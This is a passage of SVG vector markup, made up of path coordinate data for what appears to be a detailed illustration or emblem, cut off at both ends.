1.39-4.29.53-6.17-.19,0-.24.2-.38.24-.15,2.85-2.4,4.82-1.54,8,.2.92.67,1.5.91,2.37a7.1,7.1,0,0,1-1.1-.25,11.92,11.92,0,0,0-3.2-.42c-2.2,1-5.22-.25-7,1.78-.29,0-.67.09-.57.53,1,0,2,.28,3.1.24,1.68.28,2.78-1.12,3.93-1.74h.29c.48-.48,1.29-.19,1.91-.29,3,.34,5.36,1.79,7.85,3.28v.19c-1,.44-2.06.72-3,1.25a6.57,6.57,0,0,0-2.68,3.23c-.76,1.21.24,2.27.72,3.28,0,.48.1,1.06.53,1.25,1.53-1.64.09-3.66.33-5.54.39-1.44,1.73-2.12,3.11-2.5,2.73-1.16,4.7,1.06,6.89,2.31,0,2.22.24,4.34-.24,6.5a5.68,5.68,0,0,1-2.24.34c-3.79.29-6.75,2.36-10.15,3.52-1.53.53-3.35.48-4.88,1.06,1.2.34,2.44-.1,3.69-.14,4.68-.68,8.27-4.29,13.34-3.67l.1.15A11.41,11.41,0,0,1,128.75,84c-.14-.53-.19-1-.67-1.25a.89.89,0,0,0-1.1.38.69.69,0,0,0,0,.73,1.56,1.56,0,0,0,1.06.67c-.1.43-.63.63-.91,1-1.34,2.27-4.07,1.35-5.65,2.94-.24.34-1.1.53-.72,1.06a7.17,7.17,0,0,0,4.93-1.25c1.77-2,3.64-3.86,5.4-5.74A5.73,5.73,0,0,1,130,86.92a5.19,5.19,0,0,0-1.29-.72,1.17,1.17,0,0,0-.86,1,2.83,2.83,0,0,0,.72,1c-1.63,1.15-3.68,1.25-5.55,1.78a95.35,95.35,0,0,1-10.43.77c-1.68-.1-3.59.48-5.17,0-1.82.33-3.78-.24-5.26.77-.2.24,0,.48,0,.72,2.2,1.45,5.22.29,7.71.73H128.8a8.46,8.46,0,0,0,3.88-.73c2.44-1.39,3.77-3.9,5-6.36a10.12,10.12,0,0,0,1-2.89A4.14,4.14,0,0,1,142.29,80a22,22,0,0,1-.81,7.32c-.29,1.55-1.29,3-.67,4.68.14.77,1,.77,1.58.87,5.79-.1,11.58-.34,17.7.09a14.4,14.4,0,0,0,3.25.48c.1-.14.43-.19.29-.48a1.8,1.8,0,0,0-1.15-1.34c-.09-.29-.52-.2-.66-.39-3.07-1.73-6.76-.82-10.34-.77-1.87.19-3.73.53-5.31-.53-.72-.87-.19-3.62-.19-3.62a35.24,35.24,0,0,1,1.5-5.25,34.64,34.64,0,0,1,5.05,2.6,31.92,31.92,0,0,1,4.78,2.56c6.51,3.61,10.82,9.59,13.74,16.24,0,.53.52,1.11.19,1.64-1-1.55-2.44-2.42-3.63-3.67A7.06,7.06,0,0,0,164,95.06c-.72-1-2.25-1.15-3.45-1.49l-17.41-.1c-14.17-.19-27.09.44-41.15.19-2-.19-4.36-.86-4.93-2.93a3.22,3.22,0,0,1,0-2.65,2.92,2.92,0,0,1,2.44-1.31,2.56,2.56,0,0,1,1.63,1.36c0,.62-.53,1.2-.77,1.73,0,.19.24.58.57.43a2.24,2.24,0,0,0,1.25-1.54c0-.34.19-.82-.15-1.06a3.17,3.17,0,0,0-2.24-2,4,4,0,0,0-3.26,1.1c-1.15,1-1.1,2.7-.76,4.05a6.45,6.45,0,0,0,5.16,3.86l46.56.19c4.54.24,9.67-.53,14.26.38A5.5,5.5,0,0,1,165.59,99c0,.09-.19,0-.33,0a20.77,20.77,0,0,0-13.59-2.79c-1.91-.1-3.63.63-5.36,1.11a2.77,2.77,0,0,1-2.35-.77c-1.72-1.54-4.73-1.45-6.93-.87,0,.15-.05.29.05.34,2.34-.19,3.73,1.83,5.84,2.07.47.1.86-.43,1.28,0a43.83,43.83,0,0,1-6.64,3c-.72-.14-1.11-.82-1.68-1.21-.91-1-2.58-.57-3.83-.67-.43.1-.81-.19-1.1,0a4.15,4.15,0,0,0,2.06,1.59c1.2.53,2.58,0,3.68.68a4.73,4.73,0,0,1-1,.67c-2.25.87-4.12,2.89-6.6,2.75a8.52,8.52,0,0,1-7.08-2.32,4.81,4.81,0,0,0-4.84-2.79c-.14.09-.33.09-.29.34,1.06.62,1.87,1.87,2.92,2.6.67.82,2,0,2.59.91A8.62,8.62,0,0,0,125.5,105a14.79,14.79,0,0,0,2.48.67l-.33.19c-4.35,1.45-9.38,1.59-14.26,1.4-1.44,0-2.82-.49-4.26-.44a2.63,2.63,0,0,0,1.15.68,2.78,2.78,0,0,1-1.29.38,9,9,0,0,0-1.82.49,4.72,4.72,0,0,0-2,.48,10.18,10.18,0,0,1-2.73,2.22c0,.19,0,.48.19.48.91-.39,2.06-.1,3-.48,1.57-.15,2.48-1.89,3.73-2.61,1.34-1.06,3.25-.82,4.88-.58,1,.25-.1.63.19,1.25.38.35.72.73,1.25.58a.73.73,0,0,1,.33-.23,1.09,1.09,0,0,0,0-1.21c.67-.43,1.59,0,2.3-.24,1.82,0,3.64-.44,5.41-.48.28,0,.62-.34.91,0-.14.38-.63.44-.43,1s.57.63,1,.72c.48-.19.91-.53.72-1.15-.1-.34-.47-.39-.72-.53,1-.48,2.16-.63,3.16-1.11a10,10,0,0,0,2-.67c.61,0,1.14-.63,1.71-.39a9.5,9.5,0,0,1-1,2.31c-.76,2.56-1.34,5.93,0,8.39.15,0,.19,0,.29-.1-1-2.55-.43-5.49.43-7.9.67-4.09,4.88-5.3,7.89-6.84l.15.19c-.82,2.12-2,4.14-1.82,6.7.09.43-.19.86,0,1.15a5,5,0,0,0,1.77-2.21c.33-2.17-.91-4.87,1.29-6.46,3.92-1.54,7.61-3.57,12.15-3.61.15.14.48-.1.53.18-1,1.07-2.34,2.08-2.77,3.38-1.53,2.12-1.49,5.73-.82,8.34.43,1.49-.86,2.31-1.48,3.47-.3.41-.39,1.11-.66,1.58l.94.11-1.57.36a1.23,1.23,0,0,1-.53,0c-.77-2,1.53-3.18.81-5.1a3.47,3.47,0,0,0-3.3-2,4,4,0,0,0-3.83,2c-1.1,2.41.29,4.91.72,7.27-.1.77.77,1.64,0,2.27a6.51,6.51,0,0,0-5.4-1.11c-.58.29-1.63-.1-1.91.58,2.05,1.1,4.68,1,7,.86.28-.09.47-.14.71,0,.2,1.25-.24,2.94.53,4a4.9,4.9,0,0,0,3.68,1.59c4.41-.14,8.33-1.44,12.35-2.46.62-.05,1.1-.38,1.77-.38a34.49,34.49,0,0,1,6.79-.92,12,12,0,0,0-2,4.34c-.58,1.3,1,1.49,1.48,2.22-1.48.43-2.54,1.44-3.93,2-3.05-.1-5.64,1.06-8.51,1.4,0,.62,1,.43,1.1,1.06-.14.43-.58.48-.91.72,0,.29,0,.34.29.38.29-.33.91-.09,1.19-.43,1,0,1.77-.29,2.68-.34a8.56,8.56,0,0,0,2.44-1c1-.29,1.63-1,2.63-1.25,1.44,0,2.73-.48,4.07-.58v.29c-1.1,1.78-2.24,3.61-3.39,5.3a.53.53,0,0,0,.33.77,2.5,2.5,0,0,0,1.87-.29,57.88,57.88,0,0,0,2.72-5.16c.34-1.64,1.53-2.5,2.73-3.61.19-.1.48-.39.67-.1a21.17,21.17,0,0,0-2.29,3.38c-.39,1.35-.49,3.08.71,4.19.57.48,1.44.34,2.2.39,1.87-1,4.26.57,5.7-1.26.86-.14,1,.87,1.48,1.35.81.24,1.67,1.06,2.49.48-.05-.53-.63-1-.91-1.49-.58-1-1.29-1.83-1.82-2.75a9.49,9.49,0,0,1-.77-1.78,14.66,14.66,0,0,0,2.59,1,16.74,16.74,0,0,1,2.59.77,8.88,8.88,0,0,0,2.39,1.84c1.19.57,2.53.67,3.77,1.15.49,0,1.2.44,1.54,0a2.14,2.14,0,0,0-.72-.53c-.15-.62.86-.29,1.19-.77a.67.67,0,0,0-.55-.37c-.69-.36-2.39-.49-2.85-.74a9.78,9.78,0,0,1-1.67-.53c-2.87,0-4.45-2.6-6.74-3.56.52-.49,1.33-.88,1.67-1.59a2.7,2.7,0,0,0,.14-2.56c-.43-1.49-2.34-1.3-3.44-2.12l.14-.15a20.11,20.11,0,0,1,5.17.68c4.59.62,8.85,2.36,13.64,2.46,2.63,0,5.93.14,7.22-2.41.24-1.5.53-3,.77-4.48.57-2.41,2.15-4.63,1.91-7.28a5,5,0,0,0-3.25-3,4.14,4.14,0,0,0-4.16,1c-1.73,1.4-.53,3.71-.48,5.59,0,.39.05.68-.34.87-6.93-.63-13.39-2.36-20.29-3.08-1.58-.28-3.17-.21-4.68-.52l-1.92-.21c-6,.2-12,.53-17.56,2-1.19.38-2.54.48-3.73.91-.86-.14-1.58.48-2.39.25a5.13,5.13,0,0,0,1.62-3.19,1.34,1.34,0,0,0,.91,1c.34-.53-.28-.92-.33-1.45.76-.43,1.1.53,1.72.73a12.14,12.14,0,0,0,2.92.67l.33-.34c-1-1.64-3.16-1.92-5-2-1-1.59-1-3.57-.86-5.5a8.19,8.19,0,0,1,.95-3A7.36,7.36,0,0,1,152.53,99a6.76,6.76,0,0,1,3-1.63h.15a.21.21,0,0,0,.05.14c-1.29,1-1.44,2.41-2.2,3.67a4,4,0,0,0-.43,4.18c.28.63.14,1.6.81,2a10.65,10.65,0,0,0,1-2.94c-.14-1.59-1.1-3.08-.19-4.63a4,4,0,0,1,2.58-2.12c2.64-.24,4.93,1.11,7.23,2.12.48.34,1.29.63,1.39,1.31a3.91,3.91,0,0,1-6.13,3.18,3.33,3.33,0,0,1-.76-2.94,2,2,0,0,1,2.1-.77c.48.24.91.72,1.53.43a.59.59,0,0,0,.19-.77c-.52-.29-.71-1-1.43-1.11a3.07,3.07,0,0,0-2.63.53,3.38,3.38,0,0,0-1.1,3.37,4.12,4.12,0,0,0,3,3.09,5.56,5.56,0,0,0,5.89-2,6.45,6.45,0,0,0,1.06-2.07,12.54,12.54,0,0,1,4.92,6.36,10.33,10.33,0,0,1,.05,2.41l1.67.15a1.61,1.61,0,0,1,.15-1.16,14.41,14.41,0,0,1,4.93-7.9c.81-.48.61.62.81,1a6.44,6.44,0,0,0,4.16,3.66,5.24,5.24,0,0,0,5.17-1.68c.62-1.16,1.39-2.85.33-4a3.26,3.26,0,0,0-2.62-1.25,3.21,3.21,0,0,0-2.63,1.78c0,.39-.06.82.28,1,.19,0,.58,0,.72-.24.1-.72.71-1.06,1.29-1.45a1.49,1.49,0,0,1,1.53.29,2.57,2.57,0,0,1,.67,1.88,2.93,2.93,0,0,1-1.58,2.27,4.86,4.86,0,0,1-4.59-.44,10.17,10.17,0,0,1-1.34-2.12,3.41,3.41,0,0,1,0-2.21,16.07,16.07,0,0,1,6.84-2.41,4.92,4.92,0,0,1,2.54,1.58c2.2,2.27-.48,5.5,1.05,8,.58-.1.58-.87.81-1.35.72-1.73-.19-3.62-.62-5.3A9.74,9.74,0,0,0,190.33,98a1.31,1.31,0,0,1,.58-.09,12,12,0,0,1,2.92,2.5,13,13,0,0,1,1.86,7.91c-.38,1.44-1.91,2.12-3.11,2.65a4.36,4.36,0,0,0-1.29,1.54c.58.33,1.39,0,2-.24.91-.34,1.44-1.5,2.06-2,.09,0,.05.19.09.29,0,.52-.23,1.25.24,1.39a16.72,16.72,0,0,0,.43-2.46,4.66,4.66,0,0,1,.91,2.41c.43.87,1.15,2,2.3,2.17.29-.43-.05-.87-.14-1.25-.15-1.21-1.15-1.83-1.82-2.7-1.68-2.31-.91-5.93-2.2-8.53A10.3,10.3,0,0,0,192.54,98l.19-.19c2.34,0,4.3.72,6.46,1.16,2.63,1.3,6.46,1,7.7,4.43a12.65,12.65,0,0,0,2.73,5.2l.14-.09a2,2,0,0,0,0-1.79c-.29-2.4-2.39-3-3.5-5l.15-.2a33.53,33.53,0,0,1,3.49,1.11c3.83,1.06,6.5,4.82,7,8.72a18.93,18.93,0,0,1-1.77,8.24c-.15.39-.82.82-.39,1.16.53-.39.63-1,.91-1.45a13.37,13.37,0,0,0,1.59-9.68c-.06-.63-.77-1.11-.44-1.73a1.56,1.56,0,0,0,.82.43c.29-.2.72-.2.91-.53s.24-.63,0-.87a1.3,1.3,0,0,0-1.39-.34,2.36,2.36,0,0,0-.58,1.06,9.78,9.78,0,0,0-1.72-2.55l.1-.14c2.15.72,4.11,1.77,6.32,2.36a3.18,3.18,0,0,0,1.67.52,46.46,46.46,0,0,0,5.88,1.5c1.44-.15,2.64.53,4.07.19ZM156,132.07l-.67-.62c.33-.43,1-.19,1.58-.48a8.22,8.22,0,0,1,4.06-.58c-1.44,1.16-3.3,1.3-5,1.68Zm29.87-.76a21.25,21.25,0,0,0,5.1,1.2c-.15.66-1.31,0-1.18,1-1.48-.57-3.21-.86-4.31-2,.1,0,.2-.19.39-.14ZM141,110.82a3.45,3.45,0,0,1,1.15-2.41,4,4,0,0,1,3.78.15,1.8,1.8,0,0,1,.77.91,2.17,2.17,0,0,1-.72,2.17h-.48a5.45,5.45,0,0,1,.28-2.17c0-.58-.52-.62-.9-.87a2.84,2.84,0,0,0-2.16.49,2.16,2.16,0,0,0-.62,2.12c.33.53.05,1.25.24,1.83l-.14.19a3,3,0,0,1-1.2-2.41Zm2.25,1.38c.72.53,1.72.29,2.58.44a1.75,1.75,0,0,1-.24,1.63c-.81-.19-1.86-.1-2.3-.87.1-.33-.13-.81,0-1.2Zm-.14-1.62c.14-.38,0-1,.52-1.06.34-.09.86-.09.91.29a9.18,9.18,0,0,1-.24,1.69,1.09,1.09,0,0,1-1.19-.92Zm22.44,15.47a5.21,5.21,0,0,1,1.53-4.34,2.77,2.77,0,0,1,2.06.1c-1.25.34-2.83.62-3.11,2.22.05.62-.15,1,.14,1.49.52.92,1.72.53,2.39,1.25a.62.62,0,0,1-.43.58,18.89,18.89,0,0,1-2.58-1.3Zm-1.72,3.33c1.15-.49,2.34-1.5,3.63-1.06a6.61,6.61,0,0,1-3.63,1.06Zm4.54.48a35.4,35.4,0,0,1-2.34,4.53c-.1.24-.48.29-.77.34,0-.68.67-1.21,1-1.79,1-1.3,1.3-2.69,2.44-3.95.29.29-.28.48-.28.87Zm1.2-2.8v.19h-.1V127h.19a.33.33,0,0,0-.19,0Zm-.43-1.3a11.55,11.55,0,0,1-2.3-.57c-.48-.49,0-1,0-1.55.67-1.06,2.58-1.59,3.49-.62a5.09,5.09,0,0,1-1.19,2.74Zm1.05,0a8.13,8.13,0,0,1,.76-2,4,4,0,0,1-.76,2Zm.52-3.9c-.62-.15-1-.87-1.62-.87a3.91,3.91,0,0,1,1.81,0c.24.34-.13.63-.19.92Zm.58,1.45h0v-.53h0v.53Zm.05,2.21c-.05-.19.09-.43.14-.67.24-.24.48.19.58.34a.73.73,0,0,1-.72.33Zm.72-3a5.19,5.19,0,0,1,.71-1.78,2.83,2.83,0,0,1,1.29.19c.1,1,1.3,2.27,0,3.09-.43.19-1.05.62-1.53.19a1.33,1.33,0,0,1-.47-1.69Zm3.49-1.35c-.11-.43.42-.09.62-.28l1.48.09c-.77-.09-1.72,1.69-2.1.19Zm2.39.63c-.58.19-1,.87-1.58,1a1.94,1.94,0,0,1,1.58-1Zm-2,3v.14h-.05v-.14Zm.09,2.94c-.05.09,0,.24-.09.34l-1.1-.87a1.13,1.13,0,0,1,1.19.53Zm-1.29-1.49a.35.35,0,0,1,.43,0Zm-.67-.73c.2-.29.43-.72.77-.72a.2.2,0,0,0,.09.14,2.3,2.3,0,0,1-.86.58Zm-1.1-.1h-.19l.29-.28c.14.09-.05.19-.1.28Zm.14,1.83c.63-.67,1.2.39,1.44.92.72,1.06,2.59,2,1.87,3.47-.92.82-2.35.05-3.35.68-.53,0-1.43.09-1.72-.44a28.42,28.42,0,0,1,1.76-4.63Zm-1.33.92.24-.38a20.66,20.66,0,0,1-1.58,3.47c-.29-1.16.91-2.08,1.34-3.09Zm2.1,5.74c-.91.05-2.3.58-3.16-.2.06-.38-.38-.58-.33-1,.76-.29,1.43.63,2.15-.05a19.75,19.75,0,0,1,3.35.1c.53.14,1.34-.87,1.44.14-.39,1.59-2.3.48-3.45,1Zm2.78-6.94v-.15h.09V127Zm.28,3c0,.48.53.68.24,1.11a1.48,1.48,0,0,1-.24-1.11Zm1.34,2.9L178,133c-.23-.19-.14-.72-.09-1,.28.24.53.58.33.92Zm2.39,1.15c0,.15-.28.15-.37,0a25.52,25.52,0,0,1-3-5.78l.19,0c1.15,1.88,2.06,3.95,3.2,5.78Zm1.78-4.43a.19.19,0,0,0-.1.19c-1.39.05-2.3-.77-3.35-1.49l-.05-.24a8.89,8.89,0,0,1,3.5,1.54Zm-1.25-6.41c.57.14.62.77.67,1.25a2.85,2.85,0,0,1-3.49,2.56,3.07,3.07,0,0,0,2.87-1.64l-.05-2.17Zm-1.05-.19a3.21,3.21,0,0,1,.43,2.12c-.48.91-1.44.91-2.3,1.11a1.51,1.51,0,0,1-1.1-.35.48.48,0,0,0-.19-.48c.15-.62-1.1-1.25-.24-1.78.76-.72,2.59-2.36,3.4-.62Zm21.58-15a3.34,3.34,0,0,1,2.78.1,2.15,2.15,0,0,1,1.58,1c.71.67.52,1.87.38,2.74a2.75,2.75,0,0,1-2.06,1.64c0-1.16,1.1-2,.72-3.28a2.89,2.89,0,0,0-3-1c-.43.29-.24.77-.38,1.21l-.19,1.58c-1,0-1-.86-1.3-1.54a2.83,2.83,0,0,1,1.49-2.51Zm.87,4.34c.52-.53-.15-3.56,1.33-1.59,0,.39.05,1-.33,1.26s-.62.57-1,.33Zm.52,1.21c0,.77-.67.57-1.05.87h-1.15a2.63,2.63,0,0,1-.15-1.35,9.35,9.35,0,0,1,2.35.48Zm-48,.14a81.5,81.5,0,0,1,11.05-1.68c4.31,0,8.71-.29,12.83.43,1.34,0,2.49.38,3.78.48,2.68.34,5.17,1.07,7.89,1.25a13.1,13.1,0,0,0,1.44.25c4.31.67,9.14,1.87,13.25,0,0,1.73-.71,3.32-1,5-.39.48,0,1.25-.53,1.68,0,.87-.72,1.3-1.33,1.64-5.7,1.25-11.3-.67-16.8-1.64-7.71-1.68-16.7-2.16-24.55-.38-3.68.67-7.27,1.54-10.81,2.55-2.21.29-4.6.63-6.7,0-1.72-.83-1-3-1.53-4.58a25.89,25.89,0,0,0-.39-3.33,2.85,2.85,0,0,1-.19-1.25,20.63,20.63,0,0,1,2.2.82c4,.77,7.61-.53,11.34-1.21Zm51.68-34.21c0-.1-.19-.15-.14-.29,1.72-.44,3.2-1.45,4.93-1.88h0l.19.57-.1,1.6Zm0-4a5.87,5.87,0,0,0,.86-1.3c.05-.48-.19-.67-.48-1,.34-.34.87-.24,1.3-.34a5.41,5.41,0,0,1,2.67,3.19,33,33,0,0,1-5.83,2.16h0a17.8,17.8,0,0,1,1.48-2.7Zm-17-11.4c1.53,2.54,3.44,5.44,6.28,6.39,1.53,1.25,3.45,2.75,5.5,1.64,1.1-.34,1.2,1.21,1.73,1.83.57,1.79-.73,3-.82,4.68l-.07.15a1.91,1.91,0,0,1-1.12,1,11.28,11.28,0,0,1-2.2.63c-6.23,2.41-12.68,5-17.61,9.88a5.65,5.65,0,0,0,.47-2,4,4,0,0,0-.52-2.11,3.19,3.19,0,0,1-.36-1.27l6-3.81c1.52-.7,2.62-3,2.62-5.57l0-15.73.08,4.37Zm-1,11.7a5.79,5.79,0,0,1-2.17,4.45l-12.57,8h-.07a1.54,1.54,0,0,1-1,.34,1.56,1.56,0,0,1-1-.36l-12.55-8a5.75,5.75,0,0,1-2.16-4.45V69.46a.24.24,0,0,0,.38,0c1.25-.83.86-2.66.86-3.91.29-1.5-.76-2.21-1.19-3.52a.12.12,0,0,1-.05,0V51h5.21a4.22,4.22,0,0,0,1.15.5l.36-.5h24.75V75.89ZM154.59,57.57a3.93,3.93,0,0,1,1.63-2.75.55.55,0,0,1,.24.34h0v5.25c-.46-.93-2.36-1.64-1.88-2.84Zm9.18,31.86a90.86,90.86,0,0,0-15.88-9.61c.5-1.43.93-2.6,1.05-2.83a8.28,8.28,0,0,0,.29-2.22,9.34,9.34,0,0,0,.29-3.27A22.61,22.61,0,0,1,151,67c.29-.73.53-1.5.81-2.22a7.45,7.45,0,0,1,1-2.51c1.48.94,2.92,1,3.7,2.48l0,10.78c0,2.6,1.1,4.87,2.62,5.57l5.19,3.3c.07,1.66-1,3.14-.53,4.91v.1Zm7.37,10.06A34.79,34.79,0,0,0,165,90.68c-.1-.44-.53-.82-.29-1.3a3.52,3.52,0,0,0,.62-3.66c-.09-.25-.37-.54-.33-.78l-.4-.32,7.32,4.64a1.54,1.54,0,0,0,2.2.13l2.48-1.57c-1.81,2.69,1.13,6.62-1.17,9.17v.19c-.67.87-1,1.74-1.91,2.31-1.15-.48-1.58-1.78-2.25-2.74-1.06-1-1.06-3.09-.44-4.48.44-1.4-.28-2.6-.42-3.86l-.48-.28a5.54,5.54,0,0,0-.67,5.63c.48.87.53,2.08,1.24,2.8a15.6,15.6,0,0,0,2.06,3.57c.19.48-.29.57-.53.81-.52-.33-.43-1.11-.91-1.45Zm3.21,5.4c-.19.58-.58,1.06-.52,1.69l-.2.1c.14-.73-.57-1.16-.38-1.93-.38-.58-.38-1.3-.72-1.93s.38-1.1.72-1.63c.67.28.91.91,1.38,1.49.29.82-.33,1.44-.28,2.21Zm-.29-4.62a16.06,16.06,0,0,0,3.4-7c.34-.24.1-.86.43-1.16-.09-.76.43-1.53.05-2.16.3-1.06-1.4-2-.31-2.7l-.22.1,3.05-1.93a6.65,6.65,0,0,0-.37,4.05c.15.86.86,1.88.2,2.64-2.3,2.8-3.6,6.17-5.13,9.36-.57-.1-.86-.63-1.1-1.16Z" transform="translate(-23 -22)"/><path class="cls-1" d="M226.27,101.86a7.3,7.3,0,0,0-6.94,2.26c-.1.1-.05.25.09.34a1.3,1.3,0,0,0,.63-.14c2.39-.1,4.74-.53,6.41-2,.09-.24-.19-.29-.19-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.79,103.93c.54-.24,1-.63.78-1.3a.91.91,0,0,0-1.49-.29c-.15.24-.48.44-.34.82a1.38,1.38,0,0,0,1,.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.88,103.26c.09.29.29.67.62.72a.94.94,0,0,0,.86-.25,1,1,0,0,0,.24-1c-.28-.44-.71-.39-1.1-.39a1,1,0,0,0-.62.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119,106.19v-.33c-1.82-1.3-3.25-3.23-5.65-3.23-.28.1,0,.29,0,.43a6.49,6.49,0,0,1,2.54,2.42,3.71,3.71,0,0,0,3.11.71Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.87,102.63a8.86,8.86,0,0,0-4.26,4.58c.29.33.58-.15.91-.15,2-.72,2.92-2.74,4-4.38a1.53,1.53,0,0,0-.67-.05Z" transform="translate(-23 -22)"/><path class="cls-1" d="M128.9,103.64c.24.29.43.58.81.53.34-.29.72-.38.67-.91a1,1,0,0,0-1-.53c-.23.24-.67.43-.47.91Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239.57,103.55l-.24-.29c-1.53.62-2.49,2.26-3.16,3.71-.24.43-.81.91-.57,1.39,1.53-.24,2.34-1.49,3.3-2.6.43-.67.24-1.59.67-2.21Z" transform="translate(-23 -22)"/><path class="cls-1" d="M102.72,104.08a.9.9,0,0,0,.38,1.15,1.11,1.11,0,0,0,1.1-.19.93.93,0,0,0,0-1.06c-.33-.58-1.19-.34-1.48.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M100.33,104.17a.94.94,0,0,0-.48,1,1,1,0,0,0,1.1.63,1.1,1.1,0,0,0,.67-.58c0-.24-.09-.44-.14-.67a1,1,0,0,0-1.15-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M105.3,105.42c.39.39.78.88,1.45.58.57-.09.47-.77.37-1.15a1.32,1.32,0,0,0-1.24-.39,1.11,1.11,0,0,0-.58,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M114.07,105.09a1.87,1.87,0,0,0-.68.53c-.29.33.24.57.34.86.24,0,.67.15.91-.09s.28-.58.33-.92c-.19-.38-.62-.23-.9-.38Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.34,106.05a1.28,1.28,0,0,0,1.11.53c.38,0,.57-.43.71-.77-.09-.53-.71-.72-1.19-.72s-.81.43-.63,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.41,106.05a1.05,1.05,0,0,0-2.06.1,1.15,1.15,0,0,0,1.48.72c.2-.15.63-.43.58-.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M240,105.57c-.29.29-.63.62-.2,1a1.12,1.12,0,0,0,1.15.2,1,1,0,0,0,.43-.82c-.14-.58-1-.63-1.38-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M101.81,106.3a.89.89,0,0,0-.47,1,1.09,1.09,0,0,0,1,.68,1,1,0,0,0,.57-1.21,1.09,1.09,0,0,0-1.15-.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.34,108.56a1.06,1.06,0,0,0,.67-1.26.93.93,0,0,0-1.62-.09c-.38.24-.14.77.05,1a1,1,0,0,0,.9.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.7,107.21c-.29.1-.38.29-.63.48-.13.43.15.72.39,1s.53.15.71,0c.16-.29.73-.39.53-.92-.28-.28-.47-.77-1-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M243.3,108.17a1.09,1.09,0,0,0-1.1-.67c-.33.1-.38.34-.67.53,0,.43,0,.82.43,1.06a1.27,1.27,0,0,0,1.1-.2c.05-.24.34-.38.24-.72Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.06,112.46v-.38a12.81,12.81,0,0,0-3-2.56c0-.29.34-.14.53-.19.38-.14.91-.44.71-1a1.61,1.61,0,0,0-.71-.68c-.39-.1-.57.19-.86.25-.82.57.52,1-.1,1.73-.86,0-2-.19-2.63.43.38.34,1,.34,1.29.58a6.45,6.45,0,0,0,4.74,1.83Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219,108.22c-.14.48.24.77.49,1.11a1,1,0,0,0,1.05-.2c0-.23.33-.52.24-.77a1,1,0,0,0-1.78-.14Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.77,110.05c0-.72-.9-1-1.43-.58,0,.25-.29.44-.24.78a1,1,0,0,0,.87.57c.47,0,.66-.33.8-.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.68,112.94c-.19.43-1,1-.81,1.4a4.92,4.92,0,0,0,3.83-3.18c.23-.67,1-1.06,1-1.73h-.29c-1.38,1-2.92,1.87-3.68,3.51Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.85,109.67c-.2.38-.44.77-.06,1.15.25.2.58.53,1,.39a1.26,1.26,0,0,0,.82-1.11c-.39-.53-1.2-1-1.77-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M221.29,109.86c-.33,0-.43.43-.67.68a1.05,1.05,0,0,0,.63.86c.14,0,.37-.05.47.1a1.18,1.18,0,0,0,.86-1.06c-.14-.58-.86-.63-1.29-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.06,110.39c-.33-.29-.47-.72-1-.53-.23.24-.66.53-.57,1a.93.93,0,0,0,.91.58,1,1,0,0,0,.71-1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M126.6,110.82c.14.39.53.49.86.58a1.13,1.13,0,0,0,.91-.82,1,1,0,0,0-1.1-.72c-.33.24-.72.48-.67,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.44,114.73c.1-.35-.33-.58-.57-.78a9.45,9.45,0,0,0-2.72-3.51c-.39-.15-.87-.68-1.3-.24a9.86,9.86,0,0,0,2.49,3.85c.72.15,1.34,1,2.1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.2,111.93c.43.1,1.06.19,1.34-.29a1.15,1.15,0,0,0,.1-1.06c-.33-.14-.58-.43-.91-.38s-.76.24-.91.62.15.82.38,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M131.86,111.5c-.29.29-.81.38-.57,1a.93.93,0,0,0,1.15.58c.48-.24.38-.82.33-1.2-.29-.24-.52-.44-.91-.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M222.44,115l-1.34-1.45c-.48-.14-.82-1-1.3-.58a.41.41,0,0,0,.2.49c.81,2.16,1.29,4.33,3.45,5.87h.18c.29-.24-.09-.57.05-.91a7,7,0,0,0-1.24-3.42Z" transform="translate(-23 -22)"/><path class="cls-1" d="M136.69,112.94c-1.48-.19-2.81.49-4.21.92a.39.39,0,0,0-.24.43c2.21,1.3,4.89.49,6.8-.86,0,0-.1-.05,0-.1l-2.3-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M121.86,117.42c.48.29.72-.24,1.1-.38,2-.48,3.49-2.46,5.12-3.47v-.38c-2.53.24-5.36,1.63-6.22,4.23Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.62,115.74c-.24-.39-.58-.39-1-.48-.24.14-.57.19-.71.53s0,.77.43,1a.65.65,0,0,0,.9,0,.77.77,0,0,0,.39-1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M215.64,116a.49.49,0,0,0-.61,0,10.47,10.47,0,0,0-4.89.24c-.24.24-.72.1-.76.48,1.43.39,2.92,1.16,4.54.58a2.65,2.65,0,0,0,1.72-1.25Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.51,118.15c.38-.15.43-.58.57-.77a1,1,0,0,0-1-.82c-.28.09-.67.19-.76.53s.09.57.19.87a1,1,0,0,0,1,.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M129.8,117c-.24.14-.57.19-.67.44a1.13,1.13,0,0,0,.15,1,1.06,1.06,0,0,0,1,.34,1.77,1.77,0,0,0,.66-.92c-.19-.38-.61-.87-1.1-.82Z" transform="translate(-23 -22)"/><path class="cls-1" 